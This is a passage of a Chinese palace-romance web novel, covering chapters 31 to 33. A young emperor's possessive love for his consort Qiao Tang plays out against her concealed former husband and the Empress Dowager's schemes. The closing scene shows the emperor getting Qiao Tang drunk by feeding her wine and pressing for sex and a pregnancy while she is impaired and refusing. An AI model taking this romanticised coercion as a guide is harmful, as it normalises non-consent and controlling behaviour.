眼下又带伤抱惠贵妃入殿,所有人心头大震,也许陛下那些话并非是醉言,也许陛下只是年少情深,对惠贵妃真心相许罢了。 唯有国公夫人死死地揪着魏清砚衣袖,魏若湄抱住魏清砚的胳膊,这才让魏清砚没能失态地奔过去,只干坐于桌前,紧绷下颌,握掌成拳,“松手,我知晓分寸!” 魏若湄不听,牢牢地抱着他,国公夫人松了衣袖,忽觉一道视线凝视过来,瞥眼去望,却是对面的顾玉清,见她望来,微微一笑。 国公夫人回以微笑,心底存了个影儿,胆战心惊地抚向胸口,幸亏及时拉住儿子,否则…… 内殿里,乔棠被轻轻放在榻上,这才得以抬头,裴承珏神色担忧,“姐姐哪里疼?” 乔棠摇头,见他额角覆着一层冷汗,面色有些泛白,像是疼极了一直在忍耐,顰着眉心坐起来,“陛下分明受伤了!” 这话刚落,一群太医匆匆而至,裴承珏只叫了程英进来,让她细细地看了乔棠一遍,她道,“惠贵妃并无受伤。” 裴承珏心下一安,随即被乔棠强硬地拽着胳膊坐在榻上,乔棠吩咐程英,“叫其他太医进来。” 程英出去了,乔棠站起来,伸手摸向裴承珏,从脑袋到胸膛,再到腹部,瞧裴承珏神色不变,双手来到腿部。 不想很快被裴承珏擒住手腕,但见他疼得唇色也有些白了,拿着乔棠的手往腿间去,勾勾唇角,“姐姐落了一处。” 乔棠恼了,都什么时候了! 耳边脚步声匆匆,是一群太医进来了,她当即被裴承珏揽起身子,摁在榻上。 裴承珏笑容消失,神色淡淡,“朕无大碍,只是脚扭伤了。” 即便如此,太医们也是目露不忍,一个年轻太医跪地为裴承珏解衣褪鞋,一下露出了充血肿胀的脚踝。 乔棠垂眸瞥见,眼圈一红,滴出泪珠,被裴承珏拿手指轻轻拭掉,“朕又不疼,不值得哭。” 太医们垂头,伤成这样不疼才怪,别看陛下还未及冠,嘴可是比成年男人还硬。 其中一个太医忍不住道,“陛下的脚踝受伤过于严重,连带韧带损伤,这阵子是不能走路了。” 乔棠还要落泪,裴承珏凑过来就要亲,惊得她呆住不动,泪珠挂在眼尾,摇摇欲坠。 裴承珏满意,命太医为他敷了药,包扎好了,让太医们退下了。 乔棠那滴泪落了下来,心头生出无限愧疚,若不是为了护她,裴承珏也不会受伤。 裴承珏转过她的脑袋,薄唇吮尽泪珠,轻轻一叹,“不过是小伤,姐姐便为朕哭,可见姐姐待朕的情意,那姐姐为何在宴上说朕醉了?” 到头来,还是免不了被这么一问,乔棠瞬时哽住,随即而来的是太后知晓一切的惊惧。 她眸色一颤,不若此刻告知裴承珏,也好过再欺瞒下去,她迟疑道,“臣妾若说了,陛下会生气么?” “姐姐且说。”裴承珏察觉她话有深意,缓缓眯起眸子,身子靠向枕背,将手臂搭在扶手上,等了一会儿不见乔棠开口,屈指敲了敲扶手催促,“姐姐?” 乔棠艰难地做着选择,贝齿深咬唇瓣,咬得沁出血珠也无知觉,慢慢道,“陛下,臣妾那前夫……” 余下声音转瞬被掐死了,乔棠猝地被裴承珏钳住下巴,被迫抬起脸颊直视裴承珏。 “姐姐,你在朕的生辰宴上想一个死人?” 乔棠心头一悚,在裴承珏心里,魏清砚已是铁定的死人了,她咬牙道,“他、他没……” 此刻裴承珏才发现她唇瓣沁血,微怒转为心疼,薄唇覆上吮吸,将乔棠未完的话语堵住了。 薄唇离开时,泛白唇瓣染得泛红,瞧起来触目惊心。 他定定地望着上身轻颤的乔棠,眉心一簇,“姐姐怎不反驳?” 乔棠俨然惊住,眼神疑惑,反驳什么? 裴承珏面色倏地一变,有些难堪道,“姐姐,看来你真的在朕生辰宴上想那个死人了。” 乔棠实在无法辩驳这点,顷刻间脑子一热,将心一横,说了吧,就此说了吧,“陛下误会了,臣妾前夫……” 这次是她自己止了声,她惊惧地看着裴承珏,裴承珏一双眸子黑沉沉的,面色泛起纸糊般的煞人的白,正无情无绪地望来,“前夫怎么样,怎么不说了?” 乔棠心头哆嗦,她再次想起裴承珏那句让前夫死,霎时变了说辞,“没、没什么好说的了。” “那该朕说了。” 裴承珏伸出手臂揽她入怀,温柔的拥抱如禁锢她的枷锁,“姐姐的意思是,在朕当着众卿的面坦诚对姐姐情意时,姐姐想到了那个死人,所以否认了朕的心意?” 他不是死人,他还活着,不过是短短两句话,乔棠如何也吐不出来,她只会连忙摇头,以安抚裴承珏此刻的异常情绪。 裴承珏低喃一声,“那朕问姐姐要答案,姐姐提那个死人做什么?” 死人就是答案么? 这一瞬里,他的眸色一颤,脸色极其难看,双臂攥紧了乔棠,“难不成姐姐心里还有那个死人,故而否认朕的心意!” “没有!”乔棠下意识反驳。 裴承珏双手一松,上身往后靠去,微微一笑,“没有便好,姐姐,是朕先前错了,朕不该和姐姐说朕不是拈酸吃醋之人。” “其实,朕一听姐姐提那个死人,就很生气。” 他对当时自己天真的想法懊悔不已,他以为他不在乎,但只略微一想,那死人会抱姐姐,亲姐姐,于床榻之间拥有姐姐,姐姐还有可能…… 裴承珏咬牙,腮边青筋凸显,怒气将发,那个死人若是敢让姐姐给他生孩子…… 乔棠听得正惊慌不已,头顶传来轻轻的小心的问询,“姐姐,你和那个死人有孩子么?” 甚至可以称得上温柔的声音,乔棠心头惴惴,呐呐道,“没有。” 裴承珏牙齿一松,怒气消散,“姐姐不愿意给他生孩子么?” 乔棠慢慢点头。 裴承珏终于抛却先前所有不悦,笑了起来,那死人本也不配。 他道,“姐姐既心中没那死人了,那何故还否了朕的心意?” 乔棠绝望地扯谎,“臣妾是怕陛下往后为难,若是陛下往后想要其他姑娘,恐怕会为这番话为难。” “姐姐多虑了,朕此生唯要姐姐一人。”他低下面容,与乔棠额头相贴,亲密无间,“一言九鼎。” 乔棠先前既惊又骇,听了此种许诺,心口又生酥麻感动,还伴有无 限后悔。 她才是真的错了,她怎会认为勾弄未及冠的裴承珏是件能全身而退的事情?她分明将自己置于了最危险之地! 乔棠被繁杂情绪所累,神色萎靡,裴承珏当她因受惊困倦了,召来宫人,“传朕命令,将宴散了,送母后回宫歇息。” 宫人领命而去。 “姐姐若困了,歇一会儿,稍后朕带姐姐回太极宫。” 裴承珏抱紧乔棠,乔棠只有安分地窝在他怀里,此刻宫人捧来御医煎好的药,他接过一饮而尽,宫人捧着药碗离去。 乔棠闻得药气,不舒服地颤了颤睫毛,他眉峰一皱,将乔棠放在榻上,自己离远了些,省得药气惹得乔棠烦心。 乔棠意识到这点,又觉自己对裴承珏太坏了,歉意地睁开眸子,低低道,“不要紧。” 裴承珏笑道,“姐姐睡吧,待药气散了,朕再抱姐姐。” 乔棠咬唇,侧过脸颊,不再看他,今夜本是他的生辰宴,没有送给他生辰礼物便罢了,还连累他受伤了,叫他的生辰宴会早早散了。 乔棠越想越愧疚,伸手揪了揪裴承珏衣袖,裴承珏瞧着她的小动作,笑着慢慢伸出了手掌,听她低低问,“还疼么?” 寂然中,两手握紧,裴承珏忍不住俯身下来,挨着她低语,“有姐姐,就不疼。” 乔棠狠狠闭上眸子,这样的裴承珏,当真会有放她出宫那一日么? 已是夜深人静。 镇国公府,魏清砚书房门窗紧闭,房中一豆烛火摇曳。 昏淡光线下,国公夫人已听完了魏清砚与乔棠在冀州的渊源,眸中闪过震惊。 “若非昔年我伤了棠棠,我与棠棠也走不到这一步。”魏清砚摩挲着指腹,仿佛那小像依然还在。 国公夫人见状心痛不已,“哪里全都怪你,皆因温家苛待你,你性子才会如此,母亲听完你讲的,便知你多钟爱乔姑娘,只是深藏心中罢了。” 但终究理智占了上风,她劝道,“可惜,乔姑娘已是陛下的惠贵妃了,你和她……缘分尽了!” 魏清砚不言不语,国公夫人知他执迷不悟,狠心道,“镇国公府里不会有棠棠,只有惠贵妃。” 她阻止的话语宛若尖针,刺入魏清砚五脏六腑,魏清砚抬起泛红眸子,不甘心道,“我可以等,多久都可以,直到她变回棠棠。” “母亲曾说过,若我有中意姑娘,定要告知母亲,母亲会为我求娶。” “棠棠已非普通姑娘,我不会只顾自己要求母亲履行许诺,只求母亲日后不必为我的婚事烦心,让我安心等下去。” 国公夫人一下红了眼圈,被自己往日的话打脸算不得什么,只要儿子好好的就行。 “我今日已向太后婉拒了你与静仪郡主的婚事,但今夜宴上你也见到了,陛下将惠贵妃视若珍宝……” “棠棠是被陛下胁迫,心中并无陛下!”魏清砚冷声截掉她的话语。 “你又怎知没有!” 国公夫人想起慈宁宫那一幕,少年天子欢喜地弯下身躯,将惠贵妃堵在椅前,惠贵妃怔然间的悸动神色,不忍道,“清砚,惠贵妃心里真还有你么?” 魏清砚双唇紧绷,面色闪过痛楚,棠棠弹琴时心已经不乱了,棠棠把静仪郡主推到自己跟前,可是—— 他抬眸直视过来,将冀州三年那深藏于腹的情意尽数倾吐,“无论如何,我心中都有她!” “那你且得有那个命等!” 国公夫人豁然心惊,她终是明白太后奇怪的笑,奇怪的话,原来太后早已知晓了! 太后迟迟不明说,那就表示此事对她有用,魏清砚已被牵扯进来了。 国公夫人不想失而复得的儿子有事,上前握住魏清砚手腕,“眼下陛下还不知,若是陛下知了,你与惠贵妃便是欺君,到时陛下会如何?” “不过赐我一死。” 他一贯的冰冷淡漠,似将生死置之度外,国公夫人听罢又惊又怒,“你死了,我怎么办,你的父亲,你的兄长,你的妹妹怎么办!” 她的脑子极速转动,“惠贵妃呢!你便是不在意我和你父兄妹妹,惠贵妃会如何!你要拉着她一起死么!” 魏清砚唇角一动,国公夫人心下凄然,这个儿子到底爱惠贵妃胜过家人,她抬袖拭掉面上淌下的眼泪,“便是为了惠贵妃,你也要瞒好此事,莫叫他人知晓。” 她并不打算告知魏清砚太后已知此事,思及今夜宫宴上顾玉清那一眼,她已明白太后如何知晓的了,这是顾家的手笔。 “若是你要等,那便等吧。” 她要暂且稳住魏清砚,“历来帝王哪个不是三宫六院,陛下年少,此时待惠贵妃情深意切,谁也说不准以后,倘若以后陛下厌了惠贵妃,我们或可徐徐图之。” 魏清砚已从魏清墨口中听过此话了,静静地望着这个给予他温情母爱的女人,似有许多话要说,要将自己内心全然剖露出来。 国公夫人期望地等着,等了良久,也未等来只言片语,她恼极了儿子这个性格,不禁想起乔棠,那个慈宁宫里柔美娇婉的女子,是否和儿子成亲的三年里,每一天都要面对这样的儿子? 天底下父母的心底都是偏向自己孩子,唯这一刻,国公夫人心头火气,再也忍不住挥袖,手掌扇向了魏清砚脸颊。 啪得一声,魏清砚面颊偏向一侧,清晰地露出五指痕迹。 国公夫人冷声道,“改掉你的性子,否则惠贵妃便是离宫了,也不会再要你!” 她径自推门走了,留下魏清砚在惨淡光线下,偏头露出若有所悟的神色。 * 翌日,国公夫人带着魏若湄进宫,在慈宁宫见了太后,太后支开魏若湄,让她去见乔棠,留下国公夫人。 国公夫人思付着她昨日话语,揣摩着她的意思,试探道,“臣妇等下也去拜见惠贵妃。” 太后笑道,“你向来不是个糊涂的,只将利害与惠贵妃讲清楚,惠贵妃自会明白,这原也不是什么大事,清砚会无碍的。” 国公夫人应下,得知乔棠与魏若湄在漱玉阁,出了慈宁宫直往漱玉阁而去。 及至地方,她让魏若湄带着宫人离开,向着乔棠跪地行礼。 乔棠诧异,正欲喊她起来,她低低道,“昨夜清砚已告知臣妇所有事情,是他往年糊涂,辜负了惠贵妃情意,但还请惠贵妃看在昔年夫妻情分上,救他一命。” 昔年夫妻情分…… 她是咬牙说出来的这几个字,她也知昔年是乔棠受了委屈,可为人父母者终究是要为自己孩子考虑的,她不能看着魏清砚置于危险之地。 阁里再无他人,冷风亦被隔绝在窗外,乔棠还是觉察出了沁入骨髓的凉意。 淡淡香气中,她慢慢垂下眸子,她与魏清砚夫妻三年,事到如今,魏清砚尚且还有镇国公府,有个疼他护他为他豁出脸面的母亲,自己呢? 大抵只有眼下艰难的抉择,一时间她的脑中闪过许多念头,许多声音—— “我等棠棠,无论多久,我都等。” “惠贵妃,你那个前夫当真死了么?” “乔姑娘,我不希望我的这两个弟弟受到伤害。” “乔姐姐,我兄长心里还有你!” “姑娘啊,合适的人不会分开。” …… 唯独没有裴承珏的 于是,她的这个决定下得很快,淡淡缭绕的香雾遮住了她朦胧视线,“本宫前夫名叫温璟,已逝去一年多,与魏编修毫无关系,请国公夫人回吧。” 国公夫人一喜,知晓她是应下了,起身再行礼告退,步到门前,回眸望见那柔婉女子,纤肩凄凄塌下,孤零零地坐在那里,终是咬牙离去了。 没过多久,慈宁宫的素兰姑姑抱着一摞画像过来,“惠贵妃,太后有言,冬日天寒,不便出行,惠贵妃不若年后开春离宫。” 乔棠背对着她,收了 帕子,只微微点头,也不言语,素兰姑姑放下画像离开了。 乔棠不知孤身坐了多久,回身时粉颊娇柔,已无任何异常,她抬袖翻开画像看了看,都是供裴承珏选择的世家姑娘。 她命宫人带着画像回了太极宫,一步入寝殿,她便翻出先前还未有机会送出的腰带,进了储衣阁,塞入了带进宫里的那只箱子。 箱子合拢,一切都隐匿到了黑暗中,她迈步出去,到了寝殿外间,心尖倏地一颤。 裴承珏不知何时已回来了,坐在临窗桌前,受伤的那只腿搭在小凳上,手中翻开乔棠命宫人放置好的画像。 他本饶有兴趣地瞥去,但见画像上不是乔棠,面色一沉,猛地阖上推到一边,疑惑地捏了捏眉心,忽地回眸,竟才发现乔棠也在,无奈道,“听宫人说姐姐抱回一摞画像,朕还以为是姐姐的。” 乔棠笑着走过去,将柳荷曦的画像展开给他看,“陛下整日姐姐长,姐姐短的,可还识得这位姐姐?据说她幼时陪陛下读书……” 不想手腕被裴承珏倏地握住,裴承珏拉她入怀,沉声警告,“朕只有一位姐姐,就是朕的惠贵妃。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-35 第31章 “那便不要姐姐了,妹妹呢?” 乔棠顾及着他的脚伤,乖顺地偎依着他,一手翻开顾玉清的画像,另一手转过他的脑袋,示意他瞧一瞧,“妹妹也很可爱,对不对?” “是很可爱。”裴承珏转头将乔棠从眉到唇望了一遍,不舍得移开视线,“天底下怎会有姐姐这般可爱的妹妹?” 乔棠微愠,“陛下!” “姐姐记性真不好,分明姐姐说过朕如兄长般,那姐姐不就是朕的妹妹?” 全是歪理! 乔棠容色一正,“依陛下所言,无论姐姐还是妹妹,统归就臣妾一人,那陛下的后宫过于冷清了。” “臣妾感念陛下对臣妾的情意,对臣妾许下此生一人的承诺,然陛下后宫空缺,着实委屈了陛下。臣妾不愿委屈陛下,愿同其他姑娘一起陪伴陛下,陛下以为如何?” 她牵起唇角,眼波流转,浓笑嫣然,若搁往日,裴承珏必定沉溺其中。 眼下裴承珏只静静地注视着她,她的笑慢慢消了下去,余下微翘唇角,轻轻一抿,被伸来的指腹勾开。 裴承珏的指尖探进去,逗弄着口中粉舌,“姐姐这张嘴还是用来接吻比较好。” 手掌摁下柔软腰肢,低首就吻了过去,直吻得乔棠意识模糊,他便趁机问,“姐姐爱朕么?” 乔棠迷迷糊糊地点头,他的声音极快地一沉,“爱到允许朕这样亲其他姑娘?” 乔棠脑子猛地一激灵,已然清醒过来,被禁锢的身子动弹不得,她只得故作迷糊,嘤咛一声,“疼。” 裴承珏倏地松了她,催她呼吸,她低眉呼了几口气,恢复气力。 裴承珏抱着她安抚,“是朕想错了,此事必定是母后迫使姐姐做的,姐姐不必再管,朕来解决。” 她以为逃过一劫,没成想裴承珏曲解成这样,将心一狠,一字一顿道,“陛下,太后娘娘并未胁迫臣妾,臣妾是真心愿为陛下退让,心甘情愿和其他姑娘一起侍奉陛下的。” 裴承珏面色一沉,乔棠慢慢离开他的怀抱,立于桌前,将画像一一展开,“陛下已十九了,离及冠还有一年,也该准备择妃了,到时宫中多些姐妹,也就热闹起来了。” 裴承珏一掌拂落那些画像,目光锐如利刃,“朕只想要姐姐,也从不觉着委屈,姐姐何故像母后一样一再坚持为朕选妃?” 乔棠心口微窒,避开他的目光俯身去捡画像,被他一把拽起来站直身体,“姐姐说话。” 乔棠慢慢道,“陛下乃一朝天子,三宫六院也是应该的,陛下不妨看看先帝的后宫,自也嫔妃众多,何况陛下若只有臣妾,必有人说臣妾善妒,臣妾不想落下这样的名声。” “臣妾想向太后学习,太后心胸宽广,主动为先帝广纳后妃,且与众嫔妃也相处和睦,朝堂后宫都甚为称赞太后气度。” 她拼命胡扯出这些理由,鼓起勇气看向裴承珏,发现裴承珏眼神很是奇怪,顿生不安,“臣妾说得不对?” 裴承珏依旧拿奇怪的眼神看着她,过了好一会儿,他突兀地笑了一声,声线艰涩,“姐姐明白自己在说些什么么?” 乔棠越发惊慌,唇瓣一抿,还未说话,裴承珏温柔笃定道,“是母后教你的这些话。” 乔棠迟疑着摇头。 裴承珏放在扶手椅上的双手倏地握紧,薄唇紧抿成线,急促地别开看向乔棠的视线。 “姐姐去睡觉。” “陛下。”乔棠只觉他似怒非怒,十分奇怪,正欲再说,裴承珏齿缝中泄出一声,“惠贵妃想违抗朕的命令?”她猛地闭紧嘴巴。 乔棠惊惧不安地睡了一觉,也不知裴承珏何时歇息的,翌日醒来,裴承珏已不在了,她心间那股惊惑仍在,用过早膳,想要去找昨日的那些画像。 宫人躬身禀报,“昨夜陛下命奴婢将画像送回了慈宁宫。” 乔棠暗道不好,一时无言,在殿中独坐寻思,昨夜既已失败,眼下还得寻个新法子。 又觉裴承珏昨夜果真是动怒了,今日竟不派人来接她去勤政殿了。 她微一思付,顾虑裴承珏的脚伤,出殿前往勤政殿,及至地方,入了暖阁,瞧见太医在为裴承珏换药。 裴承珏低着面容,也不看她,她心口一闷,在扶手椅上坐下,询问太医,“陛下的脚伤如何了?” 裴承珏眸光一闪,这才抬头看向她,她侧目回望,正欲开口,裴承珏别过视线。 太医窥得两人动静,眼珠一转,对着乔棠道,“回贵妃娘娘的话,陛下的脚本就伤得严重,好起来并不容易,这些日子需得好生养着。” “退下!” 裴承珏不容那太医再多说,那太医惶恐,忙地行礼告退了。 乔棠自责地看向裴承珏。 裴承珏心里叹气,脸色和缓,“并无他说得那般严重。”袖子一抬,示意乔棠过来。 乔棠过去,转瞬被他抱入怀中,“姐姐今日主动来的。” 乔棠只觉他好生奇怪,分明昨夜那样生气,适才还不看她,此刻又这样温柔地抱着她。 她委实拿不准裴承珏的情绪。 裴承珏忽然道,“朕思及昨夜姐姐那些话,也觉有些道理,姐姐想学母后心胸宽广,为人大度,也不是不可。” 乔棠惊惑,他、他同意择妃了? “可是姐姐——” 她背对着裴承珏,看不到裴承珏此刻双眸陡然生出冷意,牵起的唇角也有些诡异,并不是一贯的温柔模样。 “母后大度,是因她心中没有父皇啊。” 真如惊雷,砸得乔棠心脏狂跳,呼吸急促,偏偏裴承珏抱得又紧。 她似作茧自缚,将自己困入裴承珏痴缠的网中,艰难喘气中,裴承珏薄唇吻过来了,带着炽热的温度,为她渡气。 “姐姐学母后这个,是心里没有朕了么?” 亦或是,从未也没有过? 周遭空气乍冷,裴承珏松了乔棠,乔棠呼吸渐渐平稳,心口仍在发抖,她猛地摇头,“臣妾不知此番缘由!” 裴承珏深深凝视着她,笑着吻了吻她的面颊,“那还学么?” 第32章 “臣妾实在不知,陛下莫要多想。” 乔棠示弱,怯怯地回身抱住他,唇角擦过他的下巴,又留恋地移回来,轻轻吻着。 她以为能哄好的,裴承珏竟扬颈躲开了,面上笑意还是浓的,指腹压在乔棠唇上,“姐姐。” “朕问的是这个么?” 唇上疼痛叫乔棠心生畏惧,这一刻求生欲已大过了离宫的念头,“不学了!” 指腹启开唇瓣,“姐姐不 会说谎吧?” 乔棠被他逗弄,唇边可怜地氤出水痕,心头慢慢生出委屈,还有无措,他怎变得这般难哄? 分明十八岁时亲亲他,装个可怜,就弄得他好生怜惜,温柔以待。难不成长了一岁,心就变硬了? 乔棠不信,眼圈一红,口舌无法出声,唯一双含情眸子楚楚可怜地望过去,央求他疼惜些。 裴承珏低眸,视线压下来,对视片刻,指腹并未松开,反而施加压力,静静地等着她的答案。 乔棠委屈更甚,又觉裴承珏也是个善变性子,疼惜的时候视若珍宝,不疼了就毫不在乎,微怒地拿舌尖抵开指腹,“陛下放心,臣妾不会说谎,说不学便再也不会学母后了!” 她便是不学,以裴承珏这般善变性子,也有可能应下择妃,她何必苦了自己? 暖阁寂然,沉默的怀抱中,她垂眸掩饰情绪,眼角忽被柔软帕子摁住,帕子轻轻拭去眼角湿润,随着裴承珏的手指离开了。 “天冷,姐姐今日回太极宫歇着。” 乔棠听罢糊涂得很,裴承珏的态度委实多变,一会儿逼迫她,一会儿疼惜她,又罕见地不让自己陪着他了,当真琢磨不透。 但既裴承珏要她走,她也不必多待了,“那陛下忙,臣妾回太极宫。”起身离开裴承珏的怀抱,直接出了暖阁。 身后并无视线追来,这又是奇怪之处,乔棠下了台阶,暗暗琢磨,半晌迟疑地得出一个结论:自己劝裴承珏选妃,惹裴承珏生气了,他对自己不如以往喜欢了,适才在暖阁里逼迫她、赶她走就是明证。 这般想着,乔棠心口沉闷,随即又有些轻松,这分明是好事啊,也许她快被裴承珏厌弃了。 一路上,寒风似细针扎进肌肤,乔棠扬颈望了一眼天幕。 分明是上午的天,天幕一片阴沉,乌黑云层如层层棉絮,低低垂落,应是要下雪了。 此时,先前被裴承珏派去请太后的宫人回来了,稍后太后慢步进了勤政殿,堪堪与乔棠错开了。 “母后坐。” 裴承珏面色不虞,指腹摁了摁紧拢眉心,与太直言道,“儿臣很是后悔昨夜将画像送回慈宁宫。” 太后欢喜,“陛下想通了?” 裴承珏冷笑,“儿臣应该一把火烧了。” “胡闹!岂能烧人家姑娘的画像!” 太后一听便知,想必他要为惠贵妃出头,找自己撒气来了,果听裴承珏道,“不烧也容易,日后母后有什么事只需找朕,不必再见惠贵妃。” 太后已被他这副情种心肠闹得没脾气了,想着索性乔棠已应下出宫,还有什么气好生的? 这一不生气,她就有心思打趣了,见殿里没乔棠身影,笑道,“不见也好,省得陛下一与惠贵妃闹脾气,就来找哀家的错。” “儿臣岂敢找母后的错?不过是——” 裴承珏忽地沉默。 太后一瞧,心里大喜,这是要明白过来了啊,儿子惯常以为他与惠贵妃之间不虞,是自己从中作梗,从未注意过问题实则出在两人本身上。 她故作纳闷道,“陛下日日与惠贵妃在一起,今日怎不见惠贵妃?” 裴承珏只道,“天寒,何必叫她出来?” “这殿里不冷。” 太后不介意再下一剂猛药,“陛下可知哀家为何一再要陛下选妃?” 裴承珏兴致缺缺,并不作答,他摩挲着空空的指腹,抿紧薄唇,他有些想姐姐了,很后悔适才让姐姐离开。 “陛下不答也不要紧,有一处怕是陛下从未想过,供陛下选择的世家姑娘们不似惠贵妃已成过亲,只要进宫,必定满心都是陛下。” “母后是何意思?” 裴承珏不悦地抬眸,听太后道,“意思很简单,惠贵妃成过亲,有过前夫,陛下并不是她第一个男人。” 这世间事讲究个先来后到,先来的必定占据优势,太后拿魏清砚对乔棠胁迫成功时,她就知晓乔棠是个心软念旧的姑娘,心里必还有魏清砚的一席之地。 “陛下年少,还未成婚,不懂夫妻意味着什么,可惠贵妃懂。” “陛下得到的并不是全部的惠贵妃……” “来人,送母后回宫!” 御桌后骤然传来裴承珏的低吼,惊得太后吞下未完话语,心疼地步步靠近御桌。 摞得高高的奏折遮住了裴承珏,只有他的怒声清晰可闻,“母后且回吧!” 太后心有不忍地转身,出殿前回望儿子,见他只身埋在国事中,听他适才怒声,必定恼了,应是有些伤心。 这一刻,她难免神思恍惚了一下,脑中猝然闪过先帝一张薄情面容,自古帝王不都如先帝那般三宫六院,坐拥众多美人,从不在意情爱? 怎偏偏到了她儿子这里,只一个乔棠,就拢住了她儿子的心? 不该是这样的,太后转瞬又心狠起来,眼下儿子再伤心也不过是一时的,宫中哪有长久不衰的情爱,日子久了,也就忘了乔棠了。 她抬步离去。 殿中寂然,只御桌上滚落一支断掉的朱砂笔,跌落到底,发出清脆的砰得一声。 慢慢地,大袖落下,一只手掌伸来捡起,那手掌根根青筋凸显,撑出青白肤色,煞人得很。 下午傍晚,天幕果真落了雪,初时如玉屑簌簌落下,乔棠推窗望去,那雪花飘落发上,立时化了,留下点滴凉润。 不多时,变作鹅毛般大,飘飘洒洒下来,王嬷嬷步到乔棠身侧,惊道,“今年第一场雪竟这般大。” 窗户大开,乔棠额发已凝了些许素白,她饶有兴趣地伸手接住落雪。 王嬷嬷不忍闭窗,“姑娘画了一下午的画像,累了吧,不若去歇息。” 乔棠摇头,凝视着雪花,心叹只在殿中看,可惜了,她微抿唇瓣,“我要出去看雪,你们谁都不许跟着。” 王嬷嬷还想再劝,被她坚决阻止了,无奈只能披上白色狐裘斗篷,一再嘱咐,“姑娘可小心些!” 乔棠应了,疾步出了太极宫,漫天飞雪下,她不过行了一会儿,心间迟疑着拐了方向,往勤政殿而去。 斗篷毛绒帽子遮住了她莹白面容,前方也有零星宫人走着,她步至最后面,掌心握着个雪团,轻快地行了一段路。 忽地前方一阵簇拥人影行来,隔着飞舞雪花,她初时看不清,只觉声势极大,见几个宫人都贴墙立着垂头,她也学着做了。 渐渐地,她闻得阵阵脚步声,整齐划一,稳重地踏过雪地,脚步声到了跟前,她闻得宫人们跪地行礼声,“奴婢恭送陛下!” 是裴承珏! 乔棠惊讶地抬头,但见銮驾行过眼前,数名侍卫在前,蟒袍轿夫抬着步辇,大雪纷纷落下,至帷盖慢慢融化。 纵是飞雪遮眼,乔棠还是一眼看到了步辇上的裴承珏,他上身斜倚靠背,手肘枕在扶手上,低下侧颜,以手支颌,意态懒懒地阖着眸子,不知在沉思什么。 自然看不见乔棠。 乔棠微张的双唇,将要泄出的呼喊,便被她压了下去,她慢慢低下头,任由銮驾慢慢远去了。 毛绒暖和的帽子全然遮住了她无奈的微笑,细细想来,若不是那日街上,裴承珏遇见她,她与裴承珏原也不会相识,正如此刻,相逢宛若陌生人。 待明年开春,她出了宫,大抵也如此刻,他是高高在上的一朝天子,端坐銮驾,倦于国事,不会望一眼墙根下立着的她。 乔棠这般想着,手中的雪团融化了,湿冷冷的水沾满掌心,她想回太极宫了。 远去的銮驾缓行中,裴承珏慢慢睁开眸子,若有所感地回眸望去,纷飞雪花中,什么也没有,他烦躁地捏了捏眉心,“停!” 銮驾止步,他抬起受伤的脚要下去,侍卫当即伸来一臂,他扶着下了步辇,立在一侧,只眯起眸子望着前方。 随行的李公公疑惑地往前跑去,不过跑了十来步忽见一个女子缓步而来,披着白色狐裘斗篷,毛绒绒帽子下,露出一张柔美娇颜。 “惠贵妃!” 李公公喜得扬声喊,心道陛下神了,这茫茫大雪的还能看出来惠贵妃在后头! 他这猛然一喊,传到了銮驾旁,当即有几名侍卫疾 步而去,都是跟在裴承珏身边的人,哪里不知惠贵妃是陛下的心尖尖? 乔棠径自走着,猛然间冲出来一个李公公,稍后又冲出来几个侍卫,齐齐向她行礼,随后簇拥着她到了銮驾旁。 她望了一眼裴承珏,但见裴承珏低眸,视线扫过她,也不言语,转身上了步辇。 她不知怎么地,觉着这样的裴承珏好难亲近,只立着不动,低低道,“臣妾……也没料到会碰到陛下……” 裴承珏摁在扶手的手猝然一紧,隔着飞雪,掠来一眼,“那惠贵妃要去往何处?” 淡淡的语气,乔棠听罢只觉他真的变了,真的要厌弃自己了,这也是好事吧? 她咬唇道,“只是出来看雪。” 默然片刻,裴承珏下了命令,“坐上来看。” 她坐了上去,与裴承珏挨在一起,銮驾缓行,她不禁握了握掌心,湿淋淋的,有些难受。 她的动作引来裴承珏的注意,裴承珏一把握住她的手心,蓦地面色一沉,“怎这般凉?” 她有些不好意思,低下头,“捏了个雪团,化了,还没来得及擦干。” 又是一阵沉默,裴承珏默默地拿自己袖子给她擦干了,她抬头望去,目光相接不过一瞬。 裴承珏低首就吻住了她。 仓促的,莽撞的,还带着一种让乔棠捉摸不透的情绪,细细地啃噬她的心。 裴承珏吻得很慢,飞雪落在他的眉上,融化成水,滴过眼尾。 他浑然不觉。 好大的雪,满天满地,笼住了两人。 乔棠阖住了眸子,扬颈迎合着裴承珏,裴承珏动作一顿,接着是暴风骤雨般的吻,试图尽数掠夺乔棠的一切。 乔棠直到晚间与裴承珏同榻,仍未从雪中那个吻缓过神,裴承珏见状,缓缓眯起眸子,托起她的面颊,连渡了半壶酒水给她。 她不得已吞下所有,被裴承珏放置床上,裴承珏放下纱帐,夜明珠散落床内各处。 乔棠的一切都在裴承珏目光下暴露无遗。 慢慢地,乔棠意识模糊,心口热起来了,浑身发烫地寻找凉意,一手摸上了裴承珏的腰腹。 裴承珏静静地看着。 好半晌过去了,她难受得嘤咛出声,求助地微张唇瓣。 裴承珏这才吻她,吻得她气息紊乱,脑子越发糊涂了,偏仍觉不足,低低哭了出来。 裴承珏抱起她,搂在她怀中,轻轻哄道,“姐姐不哭,朕进去帮姐姐。” 乔棠软成一滩春水,一股艳血,早就无法理智思考,只顾点头。 裴承珏眸子黑沉,“朕直接进去,让姐姐怀孕,可以么?” 怀孕? 谁怀孕? 她么? 乔棠浑身发颤,迷失的意识挣扎出一丝清明,微弱哭声中,艰难地泄出一声,“不、不要。” “不要什么?” 裴承珏低吟诱惑,“姐姐说清楚。” 乔棠唇瓣轻颤,擦过裴承珏脸颊,不再言语,只是摇头。 裴承珏继续用亲吻迷惑她,薄唇几度张合,终是阖眼道,“棠棠告诉夫君,不要什么?” 乔棠俨然忘了身处何地,记忆深处翻滚着往年伤心,低泣一声,“不要孩子,你不喜欢。” 裴承珏目光骤然一冷,“朕何时说过不喜欢?” 乔棠泣声一顿,受不了地抱紧他,又不言语了,只想融进裴承珏身体里。 “你说过!”乔棠蓦地发现他身子好凉,瑟缩着要逃,被他一掌摁进被子里。 “乔棠,我是谁!” 乔棠听不清,锦被中黑发缭乱,玉颊泛红,想要起身,又被裴承珏摁回去,“棠棠,叫我的名字。” 第33章 什么名字? 乔棠的意识在混沌中挣扎,依稀听得夫君二字,心间反抗,不要,她不要喊,都已和离了! 可那声音缠着她不放,烦人得紧,也不帮她纾解,她恼了,蓄着力气,双手扒住那压迫自己的手掌,冲着虎口,张口咬了下去。 